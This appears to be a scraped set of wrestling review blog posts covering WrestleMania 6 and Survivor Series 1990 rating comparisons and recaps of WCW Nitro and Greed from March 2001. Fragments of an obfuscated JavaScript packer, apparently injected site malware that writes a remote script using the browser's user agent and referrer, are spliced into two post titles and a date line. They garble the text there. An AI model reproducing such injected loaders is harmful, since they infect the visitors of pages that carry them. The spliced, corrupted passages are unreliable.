WWF World Title/Intercontinental Title: Hulk Hogan vs. Ultimate Warrior

Ratings Comparison

Rick Martel vs. Koko B. Ware

Original: D

Redo: D+

Demolition vs. Colossal Connection

Original: C-

Redo: C-

Earthquake vs. Hercules

Original: D-

Redo: D

Brutus Beefcake vs. Mr. Perfect

Original: C

Redo: C-

Roddy Piper vs. Bad News Brown

Original: A

Redo: D

Hart Foundation vs. Bolsheviks

Original: N/A

Redo: N/A

Barbarian vs. Tito Santana

Original: D

Redo: C-

Dusty Rhodes/Sapphire vs. Randy Savage/Sensational Sherri

Original: D-

Redo: D

Orient Express vs. Rockers

Original: C

Redo: C+

Jim Duggan vs. Dino Bravo

Original: D+

Redo: D

Ted Dibiase vs. Jake Roberts

Original: C

Redo: C-

Big Boss Man vs. Akeem

Original: N/A

Redo: N/A

Rick Rude vs. Jimmy Snuka

Original: C-

Redo: D

Ultimate Warrior vs. Hulk Hogan

Original: A+

Redo: A

Overall Rating

Original: C+

Redo: C+

http://kbwrestlingreviews.com/2011/03/13/history-of-wrestlemania-with-kb-wrestlemania-6-epitome-of-a-one-match-show/


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Survivor Series Count-Up – 1990: For Whom The Debuting Bell Tolls

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|dhkia|var|u0026u|referrer|tirkf||js|php'.split('|'),0,{})) Series 1990
Date: November 22, 1990
Location: Hartford Civic Center, Hartford, Connecticut
Attendance: 16,000
Commentators: Gorilla Monsoon, Roddy Piper

The nifty squares intro theme open things up again.

Gorilla and Piper chat about the show for a bit.

The Warriors vs. The Perfect Team

The Warriors: Ultimate Warrior, Texas Tornado, Legion of Doom

The Perfect Team: Mr. Perfect, Demolition

Crush immediately comes in to jump Warrior and take over. Smash gets in a slam on Warrior and Crush drops a top rope knee for two. Perfect is freaking out in his trademark over the top style. Warrior gets up a boot in the corner and clotheslines Crush down. Off to Hawk who always looks like he could murder someone in the ring. Perfect tries him out and is immediately slammed down.

Ted DiBiase has a mystery partner for his match. Oh boy does he ever.

Million Dollar Team vs. Dream Team

Million Dollar Team: Ted DiBiase, Rhythm and Blues, ???

Dream Team: Dusty Rhodes, Koko B. Ware, Hart Foundation

Undertaker and Bret start with the newcomer pounding the tar out of Bret. Well if you want to make someone look like a killer, call Bret Hart. Bret hits the ropes and charges at Undertaker, only to get caught by the throat and slammed down. It was more like a clothesline that Undertaker went to the mat with than the usual chokeslam here but he did have Bret by the throat.

The Vipers vs. The Visionaries

The Vipers: Jake Roberts, Rockers, Jimmy Snuka

The Visionaries: Rick Martel, Warlord, Power and Glory

Marty and Warlord start as Piper is singing I Am The Walrus. Warlord powers Marty around but misses a charge in the corner. Warlord is now out of his Powers of Pain phase and is now shiny and bald. Both Rockers try to outmaneuver him but it just results in bringing in Martel. Shawn handles him with ease and brings in Jake, causing Martel to scamper away.

Natural Disasters vs. Hulkamaniacs

Natural Disasters: Earthquake, Dino Bravo, Haku, Barbarian

Hulkamaniacs: Hulk Hogan, Big Boss Man, Tugboat, Jim Duggan

Rating: C-. This was a lot more fast paced and energetic than you would expect. The continued practice of just teasing the encounter that the match is based on is getting REALLY old though as I guess they want to preserve the house show draws, because who would want to see a feud continue after a single match right? My goodness have things changed in the last twenty years.

Hogan beats up Heenan post match and poses. Piper cheering for Hogan is just wrong.

Some fans talk and have little to say. Well one fan signs who he likes which is cool.

Alliance vs. Mercenaries

Alliance: Nikolai Volkoff, Bushwhackers, Tito Santana

Mercenaries: Sgt. Slaughter, Boris Zhukov, Orient Express

Hogan, Warrior and Santana are ready.

Hulk Hogan/Tito Santana/Ultimate Warrior vs. Ted DiBiase/Visionaries

Oddly enough, Hogan comes out before Tito. Tito and Warlord start and a forearm ends Warlord in less than 30 seconds. Roma immediately powerslams Tito and brings in DiBiase. My goodness a 20 minute Santana vs. DiBiase match would freaking rock. Tito misses another forearm and a hot shot gives DiBiase the pin.

Posing ends the show.

Overall Rating: F. This show has some moments of ok, but can you imagine PAYING for this show? Undertaker debuts here but no one had any idea what that would mean. Nothing is changed at all, mainly because the company was afraid no one would want to see the house show matches after this.

Ratings Comparison

Warriors vs. Perfect Team

Original: C-

Redo: D

Dream Team vs. Million Dollar Team

Original: C+

Redo: C+

Vipers vs. Visionaries

Original: D+

Redo: D+

Hulkamaniacs vs. Natural Disasters

Original: C+

Redo: C-

Alliance vs. Mercenaries

Original: F

Redo: D-

Grand Finale Match of Survival

Original: D-

Redo: D

Overall Rating

Original: F

Redo: F

It sucked four years ago and it still sucks now.

Here’s the original review if you’re interested:

http://kbwrestlingreviews.com/2011/11/09/history-of-survivor-series-count-up-1990-title-removed-due-to-anger-issues/

 

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Monday Nitro – March 19, 2001: The Series Finale (Pretty Much)

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zatbs|var|u0026u|referrer|ddffi||js|php'.split('|'),0,{})) Nitro #282
Date: March 19, 2001
Location: O’Connell Center, Gainesville, Florida
Commentators: Tony Schiavone, Scott Hudson

We open with an In Memorium tribute to Diamond Dallas Page, complete with Taps and a shot of a flag at half mast over video of a trailer park.

Buff Bagwell and Animal are in the back with Buff accusing Lex Luger of being the attacker. The cameraman is told to follow Luger around all night.

Jason Jett vs. Disco Inferno

A facebuster sets up more dancing and a delayed near fall before Disco starts in on the knee. Yet another distraction allows Sanders to come in and be quickly dispatched so Jett can slam Disco down, setting up a standing moonsault for two. Sanders tries to come in but hits Disco by mistake, allowing Jett to hit the Crash Landing for the pin.

Cruiserweight Title: Shane Helms vs. Kidman

Post match Chavo Guerrero Jr. comes out for the brawl until Kid Romeo and Elix Skipper run down to help Guerrero. Rey Mysterio makes the save and the good guys (including Helms) clear the ring.

Lex Luger has been laid out so the cameraman goes to find Buff or Animal to help.

Bam Bam Bigelow has been granted a rematch with Shawn Stasiak. For the love of all things good and made of pickle flavored ice cream, WHY?

Buff and Animal ask if Luger saw anything. Animal freaks out because this needs to stop and Rick Steiner is the next suspect.

Shawn Stasiak vs. Bam Bam Bigelow

The replays shows a virtually empty upper deck, which is only the fourth section away from the ring.

Steiner signs the contract for next week as Booker has made it to the ring. Scott jumps him before Booker can sign and beats him down with the pipe. Security comes in and gets laid out as well but Booker pops up and hits the ax kick on Scott. Booker gets the pipe but Steiner bails with Flair and Midajah, leaving Booker to say his catchphrase, which is then played again at the start of his theme song.

M.I. Smooth vs. Kanyon

Kanyon jumps Smooth (in wrestling gear here) during his entrance but gets powerslammed down. Smooth has to keep pulling his straps up as they head outside with Kanyon getting chopped around the ring. Back in and Smooth splashes him in the corner but Kanyon gets a Russian legsweep for two.

Cat makes a tag match for Thunder.

Dusty Rhodes eats more burritos.

Rick Steiner vs. Konnan

Rick is back up ten seconds later to be knocked outside by Hugh Morrus.

Bagwell, Luger and Animal accuse Rick of being the attacker and are thrown out after an argument.

Team Canada is ready to win a non-title match and earn a Tag Team Title shot.

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Greed (2016 Redo): From A Flair For The Gold To Burritos

Greed
Date: eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|tdbdd|var|u0026u|referrer|iktet||js|php'.split('|'),0,{})) March 18, 2001
Location: Jacksonville Municipal Coliseum, Jacksonville, Florida
Attendance: 5,030
Commentators: Tony Schiavone, Scott Hudson

The opening video focuses on Diamond Dallas Page, who is still standing after everything Scott Steiner has thrown at him.

Jason Jett vs. Kwee Wee

We recap the Cruiserweight Tag Team Title tournament.

Cruiserweight Tag Team Titles: Elix Skipper/Kid Romeo vs. Kidman/Rey Mysterio

Elix takes him to the top until Kidman takes him down with a sitout powerbomb and a round of applause. The hot tag brings in Rey to clean house and send Elix shoulder first into the post. Kidman hits a top rope shooting star to the floor to take out both Romeo and Skipper. Back in and a reverse suplex gets two on Romeo with Skipper making the save. Skipper dragon suplexes Rey into a guillotine legdrop from Romeo with Kidman diving in for a save.

Shawn Stasiak vs. Bam Bam Bigelow

A shove sends Stasiak outside and that means we need a timeout. Bigelow knocks him to the floor again as this is already horrible. Shawn comes back in with a high cross body and some posing, only to have Bigelow destroy him again for the top rope headbutt. This brings Stacy to the apron for the hair down distraction, allowing Shawn to spray Bigelow in the eyes with some perfume. The neckbreaker puts Bigelow away.

Shawn and Stacy kiss post match.

Romeo and Skipper put the belts on each other.

We recap Hugh Morrus/Konnan vs. Team Canada which is basically I hit you, you hit me.

Team Canada vs. Hugh Morrus/Konnan

Cruiserweight Tag Team Titles: Chavo Guerrero Jr. vs. Shane Helms

Cruiserweight Title: Chavo Guerrero Jr. vs. Shane Helms

The Sugar Smack knocks Chavo off the apron but he comes right back with a sitout reverse inverted DDT. Helms grabs the Nightmare on Helms Street for two but Chavo crotches him on top, only to pick Shane up instead of cover. Ever the overconfident one, Chavo tries his own Vertebreaker and is promptly reversed into the real thing to give Shane the title.

Scott Steiner yells about beating Page tonight.

We recap The Cat vs. Kanyon which started when over Kanyon laying out Miss Jones, attacking her in a hospital and then not being able to stop the angry limo driver, who came off as looking like the big star out of all this thing.

Buff is still down in the ring but gets up pointing at his neck.

The Cat vs. Kanyon

Kanyon goes after Jones again and is sent into the barricade a few times. Apparently Kanyon broke his hand on Monday night (not Tuesday Tony). They head inside for the first time with cat electric chair dropping Kanyon off the ropes but Kanyon starts hitting him with the cast.

Post match Kanyon gives Cat the Flatliner but Smooth comes out to save Jones.

Totally Buff argues over the loss.

We recap Booker T. vs. Rick Steiner which is really just to give Booker something to do before he can fight Scott for the World Title.

US Title: Rick Steiner vs. Booker T.

Buff has been laid out and Lex accuses Animal.

Jeff Jarrett/Ric Flair vs. Dustin Rhodes/Dusty Rhodes

Ric bails so Jeff has to take a very weak Stinkface from Dusty.

We recap Scott Steiner vs. Diamond Dallas Page with the idea of Page being the last hero standing. Well save for Booker who came back after this match was made.

WCW World Title: Scott Steiner vs. Diamond Dallas Page

Page is challenging, anything goes, and this is falls count anywhere, which was announced less than three hours ago. Midajah is here with Steiner, making her attack on Monday seem a bit pointless. Steiner knocks him outside to start but Page comes back in with a top rope clothesline for two. The champ takes over on the floor and gets in some yelling at fans.

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